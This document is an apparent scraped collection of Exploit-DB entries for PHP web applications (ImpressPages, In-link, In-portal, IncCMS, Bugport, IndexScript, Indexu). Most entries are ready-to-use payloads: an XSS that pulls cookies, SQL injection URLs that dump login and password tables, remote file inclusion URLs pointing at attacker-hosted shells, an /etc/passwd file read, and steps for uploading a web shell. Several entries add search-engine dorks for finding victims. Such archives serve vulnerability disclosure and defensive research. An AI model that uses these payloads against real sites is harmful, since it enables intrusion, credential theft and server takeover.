deardaniel/secdata-raw huggingface dataset:
Exploit-DB #29790
Description: ImpressPages CMS 3.8 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-11-23
Author: sajith

Exploit:
###########################################################
[~] Exploit Title:stored vulnerability
[~] Author: sajith
[~] version: ImpressPages CMS v3.8
[~] vulnerable app link:http://www.impresspages.org/download/
###########################################################


steps:

1) log into the admin panel
http://127.0.0.1/cms/ImpressPages/?cms_action=manage

2)click on advanced tab >> in the button title field enter the payload
"><img src=x onerror=prompt(document.cookie);>


request:

POST /cms/ImpressPages/?cms_action=manage HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101
Firefox/14.0.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/cms/ImpressPages/?cms_action=manage
Content-Length: 538
Cookie: ses11565=2v920trpg7sl8aghg3aj297su5
Pragma: no-cache
Cache-Control: no-cache

g=standard&m=content_management&a=savePageOptions&securityToken=4496a2385a44fe257b857f04a3240f53&pageOptions%5BbuttonTitle%5D=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt(document.cookie)%3B%3E+&pageOptions%5Bvisible%5D=1&pageOptions%5BcreatedOn%5D=2009-08-08&pageOptions%5BlastModified%5D=2012-01-21&pageOptions%5BpageTitle%5D=Home&pageOptions%5Bkeywords%5D=&pageOptions%5Bdescription%5D=&pageOptions%5Burl%5D=home&pageOptions%5Btype%5D=default&pageOptions%5BredirectURL%5D=&pageOptions%5Brss%5D=0&pageOptions%5Blayout%5D=home.php&revisionId=91


3) refresh the page and we can see that the payload gets executed.




</head>
<body class="manage" >

<div class="theme clearfix">
    <header class="clearfix col_12">
        <div class="logo ipModuleInlineManagement ipmLogo "
 data-cssclass=''>
    <a href="http://127.0.0.1/cms/ImpressPages/en/?cms_action=manage"
style=" ">
        xyz.com    </a>
</div>

        <div class="right">
            <span class="currentPage">"><img src=x
onerror=prompt(document.cookie);> </span>
            <a href="#" class="topmenuToggle"> </a>
            <div class="topmenu">
                        <ul class="level1">
Exploit-DB #36830
Description: Impulsio CMS - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2012-02-16
Author: sonyy

Exploit:
source: https://www.securityfocus.com/bid/52063/info

Impulsio CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?id=[SQL]
Exploit-DB #2295
Description: In-link 2.3.4 - 'ADODB_DIR' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-04
Author: Saudi Hackrz

Exploit:
#=================================================================
#in-link <=2.3.4 (adodb-postgres7.inc.php) Remote File Inclusion Exploit
#================================================================
#
#Critical Level : Dangerous
#
#By Saudi Hackrz
#
#http://www.in-portal.net/
#http://www.in-portal.net/products/in-link.html
#=================================================================
#Script Name: in-link 2.3.4
#Script <<<<<<<<<<  $$ $$
http://www.bwady.net/script/pafiledb.php?action=download&id=4
#Dork :"by in-link"  or  "Powered by In-Link 2."
#
#=================================================================
#Bug in : adodb-postgres7.inc.php
#        include_once($ADODB_DIR."/adodb-postgres.inc.php");
#includes/adodb/back/adodb-postgres7.inc.php
#
#=================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[path]/includes/adodb/back/adodb-postgres7.inc.php?ADODB_DIR=http://SHELLURL.COM?
#Or
#http://sitename.com/includes/adodb/back/adodb-postgres7.inc.php?ADODB_DIR=http://SHELLURL.COM?
#
#===============================================================================
#Discoverd By : Saudi Hackrz
#
#Conatact : Saudi.unix[at]hotmail.com
#
#GreetZ : Le CoPrA And All My Frind
#www.S3hr.com

# milw0rm.com [2006-09-04]
Exploit-DB #36123
Description: In-link 2.3.4/5.1.3 RC1 - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2011-09-08
Author: SubhashDasyam

Exploit:
source: https://www.securityfocus.com/bid/49508/info

In-link is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

In-link 5.1.3 RC1 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?t=sub_pages&cat=-1+Union+select+1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
Exploit-DB #9358
Description: In-portal 4.3.1 - 'index.php?env' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-08-04
Author: Angela Chang

Exploit:
 @ ===================================================================================@
/                      Title    : Local File Inclusion Vulnerability                   \
                       Software : In-Portal 4.3.1
                       Vendor   : http://www.in-portal.net/                    
[-]                                                                                    [-]
                       Date     : 01 August 2009 (Indonesia)
                       Author   : Angela Chang
                       Contact  : mizz_4ng3l@yahoo.com
\                                                                                      /
 @ ===================================================================================@
                                                                                                                                                                                             
 [-] Dork                                                                                                                                                                                    
 
     "Powered by In-portal"
 
 [-] Exploit                                                                                                                                                                                
 
     http://[site]/[path]/index.php?env=-/[LFI]%00
 
 [-] Demo                                                                                                                                                                                    
 
     http://www.in-portal.net/demo/index.php?env=-/../../../../../../../../../../../../../../../etc/passwd%00
                                                                                                                                                                                                  
{o} ==================================================================================={o}
 
                                                 Greetz   :   -:-  SkyCreW  -:-
 
     Nyubi (Solpot) , Vrs-hCk , OoN_BoY , NoGe , Paman , zxvf ,   home_edition2001   ,   str0ke
 
 
{o}===================================================================================={o}
 
 
{o}===================================================================================={o} 

# milw0rm.com [2009-08-04]
Exploit-DB #9290
Description: In-portal 4.3.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-07-28
Author: Mr.tro0oqy

Exploit:
=======================================================
+++++++++++++++++++ information +++++++++++++++++++++++
=======================================================
[+] Script :In-Portal v 4.3.1 Shell Upload Vulnerability

[+] D0rk : Powered by In-portal Â® 1997-2009,

[+] Script site : www.in-portal.net

[+] Found by : Mr.tro0oqy  
   
[+] C0ntact : t.4@windowslive.com <Yemeni ana>
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
exploit:
-------
step1: register in site 

http://www.xxx.com/path/platform/login/register.html

step2: go to your profile 

http://www.xxx.com/path/platform/my_account/my_profile.html

step3: upload shell.php

step4: get shell

http://www.xxx.com/path/kernel/images/shell.php


Demo:
-----
http://www.in-portal.net/demo
-----




Yemeni ana ;)

# milw0rm.com [2009-07-28]
Exploit-DB #28486
Description: In-portal In-Link 2.3.4 - 'ADODB_DIR.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-04
Author: Saudi Hackrz

Exploit:
source: https://www.securityfocus.com/bid/19824/info

In-portal In-link is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

In-link 2.3.4 and earlier versions are affected by this issue.

http://example.com/[path]/includes/adodb/back/adodb-postgres7.inc.php?ADODB_DIR=http://SHELLURL.COM?
Exploit-DB #2557
Description: IncCMS Core 1.0.0 - 'settings.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-14
Author: Kacper

Exploit:
:::::::::  :::::::::: :::     ::: ::::::::::: :::        
:+:    :+: :+:        :+:     :+:     :+:     :+:        
+:+    +:+ +:+        +:+     +:+     +:+     +:+        
+#+    +:+ +#++:++#   +#+     +:+     +#+     +#+        
+#+    +#+ +#+         +#+   +#+      +#+     +#+        
#+#    #+# #+#          #+#+#+#       #+#     #+#        
#########  ##########     ###     ########### ########## 
::::::::::: ::::::::::     :::     ::::    ::::  
    :+:     :+:          :+: :+:   +:+:+: :+:+:+ 
    +:+     +:+         +:+   +:+  +:+ +:+:+ +:+ 
    +#+     +#++:++#   +#++:++#++: +#+  +:+  +#+ 
    +#+     +#+        +#+     +#+ +#+       +#+ 
    #+#     #+#        #+#     #+# #+#       #+# 
    ###     ########## ###     ### ###       ### 
	
	
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- IncCMS Core <= 1.0.0 (settings.php) Remote File Include Vulnerability
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: IncCMS Core 1.0.0
- [Script site: http://www.inccms.com/core/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-    DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam
+
-          Contact: kacper1964@yahoo.pl
-                        or
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart ;-)
- Ema: Leito, Leon, Adam, DeathSpeed, Drzewko, pepi, mivus
-      SkD, nukedclx, Ramzes, t3k, dn0d'e, sysios, SpiderZ
-
- Greetz for all users DEVIL TEAM IRC Channel !!
!@ Przyjazni nie da sie zamienic na marne korzysci @!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exploit:

http://www.site.com/[incCMS_path]/inc/settings.php?inc_dir=[evil_script]

DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam

# milw0rm.com [2006-10-14]
Exploit-DB #42663
Description: inClick Cloud Server 5.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-12
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: inClick Cloud Server 5.0 - SQL Injection
# Dork: N/A
# Date: 12.09.2017
# Vendor Homepage: http://www.inclick.net/
# Software Link: http://www.inclick.net/pageid/demo.html
# Demo: http://www.inclick.net/pageid/demo.html
# Version: 5.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an publisher to inject sql commands....
# 
# Proof of Concept:
# 
# http://localhost/[PATH]/client.php?pageid=sites&subpid=modify&site_id=[SQL]
# 
# 1-1++/*!00008UniOn*/+/*!00008sEleCT*/+0x283129,0x283229,0x283329,0x283429,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129--+-
# 
# Etc..
# # # # #
Exploit-DB #27023
Description: INCOGEN Bugport 1.x - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-01-03
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/16123/info

Bugport is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/index.php?view=AddToFavoriteItemSetView&ids%5B0%5D=[XSS]
http://www.example.com/index.php?view=AddRelatedDevelopmentItemFormView&report_id=9&action=[XSS]
http://www.example.com/index.php?view=AddRelatedDevelopmentItemFormView&report_id=[XSS]
http://www.example.com/index.php?view=DevelopmentItemResultsView&devWherePair%5B0%5D=state_id+%3C+%3F++AND++MATCH+%28report%2Csubject%2Cdevelplan%2Cfixednotes%2Crepsteps%29+AGAINST+%28%3F++IN+BOOLEAN+MODE%29&devWherePair%5B1%5D%5B0%5D=240&devWherePair%5B1%5D%5B1%5D=[XSS]
http://www.example.com/index.php?view=DevelopmentItemResultsView&where=project_id+%3D+%3F&orderBy=priority_id+DESC&binds%5B0%5D=[XSS]
Exploit-DB #27022
Description: INCOGEN Bugport 1.x - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-01-03
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/16121/info

Bugport is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/index.php?view=DevelopmentItemResultsView&devWherePair
%5B0%5D=state_id+%3C+%3F++AND++MATCH+%28report%2Csubject%2Cdevelplan%2Cfixednotes%2Crepsteps%29+AGAINST+%28%3F++IN+BOOLEAN+MODE%29&devWherePair%5B1%5D%5B0%5D=[SQL]

http://www.example.com/index.php?view=DevelopmentItemResultsView&where=project
_id+%3D+%3F&orderBy=[SQL]

http://www.example.com/index.php?view=DevelopmentItemResultsView&where=[SQL]
Exploit-DB #16198
Description: Independent Escort CMS - Blind SQL Injection
Type: webapps
Platform: php
Date: 2011-02-19
Author: NoNameMT

Exploit:
# Exploit Title: Independent Escort CMS Blind SQL Injection Vunerability
# Google Dork: "Powered by Independent Escort CMS"
# Platform: php
# Date: 09.02.2011
# Author: NoNameMT
# Software Link:
http://www.escortwebsitedesign.co.uk/escort-design/index.php
# Price: 199 £ per month
# Tested on: Windows 7
# Mail: nonamemt@gmail.com
# Homepage: http://nonamemt.us

# Exploit:
http://localhost/Choose~this~name~yourself,508+and+1=1--+ //True
http://localhost/Choose~this~name~yourself,508+and+1=0--+ //False

# Greetings:
J0hn.X3r, 4004-security-project.com, TamCore, bursali, theeddy42,
Nightmare_FH
Exploit-DB #4225
Description: IndexScript 2.8 - 'cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-25
Author: xssvgamer

Exploit:
Site: http://indexscript.com
Found By: xssvgamer

Google Dork: allintext: "This site is powered by IndexScript"

exploit:

http://www.example.com/show_cat.php?cat_id=-1 UNION ALL SELECT login,password FROM dir_login /*

Blind SQL injection in indexscript..

Vul Code:
"$sql = "select name, meta_title, meta_description, meta_keywords from dir_cat where " .
 "cat_id=" . fnpreparesql($_GET['cat_id']);"

# milw0rm.com [2007-07-25]
Exploit-DB #6746
Description: IndexScript 3.0 - 'parent_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-13
Author: d3v1l

Exploit:
[~]-------------------------------------------------------------------------------------------------------------
[~] IndexScript v 3.0 [sug_cat.php?parent_id] - SQL injection Vulnerability
[~]
[~] http://www.indexscript.com/download.php
[~]    
[~] [IndexScript is a feature-rich and yet easy-to-use directory script that you can install for immediate use.]
[~] ------------------------------------------------------------------------------------------------------------
[~] Bug founded by d3v1l   [Avram Marius]
[~]
[~] Date: 12.10.2008
[~]
[~]
[~] d3v1l@spoofer.com    http://security-sh3ll.com
[~]
[~] ------------------------------------------------------------------------------------------------------------
[~] Greetz tO ALL:-
[~]
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~]
[~] Pentest| Gibon| Pig       AND      milw0rm staff
[~]-------------------------------------------------------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/sug_cat.php?parent_id=-1 UNION SELECT concat_ws(0x3a,version(),database(),user())--
[~]
[~] http://site.com/sug_cat.php?parent_id=-1 UNION ALL SELECT login,password FROM dir_login--
[~]
[~] http://site.com/sug_cat.php?parent_id=-1 UNION ALL SELECT name,email FROM dir_pend_cat--
[~]
[~] Example :-
[~]
[~] http://spaceho.com/sug_cat.php?parent_id=SQL
[~]-------------------------------------------------------------------------------------------------------------
[~] btw; on some sites you need to encript your injection like [-1 UNION SELECT aes_decrypt(aes_encrypt(concat]
[~]-------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-10-13]
Exploit-DB #27625
Description: Indexu 5.0 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-04-11
Author: SnIpEr_SA

Exploit:
source: https://www.securityfocus.com/bid/17470/info

The 'indexu' application is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

These issues are reported to affect versions 5.0.0 and 5.0.1; other versions may also be vulnerable.

http://www.example.com/indexu/invoice.php?base_path=http://evil.txt?cmd?cmd
http://www.example.com/indexu/index.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/become_editor.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/add.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/bad_link.php?theme_path=http://evil.txt
http://www.example.com/indexu/browse.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/detail.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/fav.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/get_rated.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/login.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/mailing_list.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/new.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/modify.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/pick.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/power_search.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/rating.php?theme_path=http://evil.txt?cmd
http://www.example.com/indexu/rating.php?theme_path=http://evil.txt?cmd?cmd
http://www.example.com/indexu/register.php?theme_path=http://evil.txt?cmd?cmd
http://www.example.com/indexu/review.php?theme_path=http://evil.txt?cmd?cmd
http://www.example.com/indexu/rss.php?theme_path=http://evil.txt?cmd?cmd
http://www.example.com/indexu/search.php?theme_path=http://evil.txt?cmd?cmd
http://www.example.com/indexu/send_pwd.php?theme_path=http://evil.txt?cmd?cmd
http://www.example.com/indexu/sendmail.php?theme_path=http://evil.txt?cmd?cmd
http://www.example.com/indexu/tell_friend.php?theme_path=http://evil.txt?cmd?cmd
http://www.example.com/indexu/top_rated.php?theme_path=http://evil.txt?cmd?cmd
http://www.example.com/indexu/user_detail.php?theme_path=http://evil.txt?cmd?cmd
http://www.example.com/indexu/user_search.php?theme_path=http://evil.txt?cmd?cmd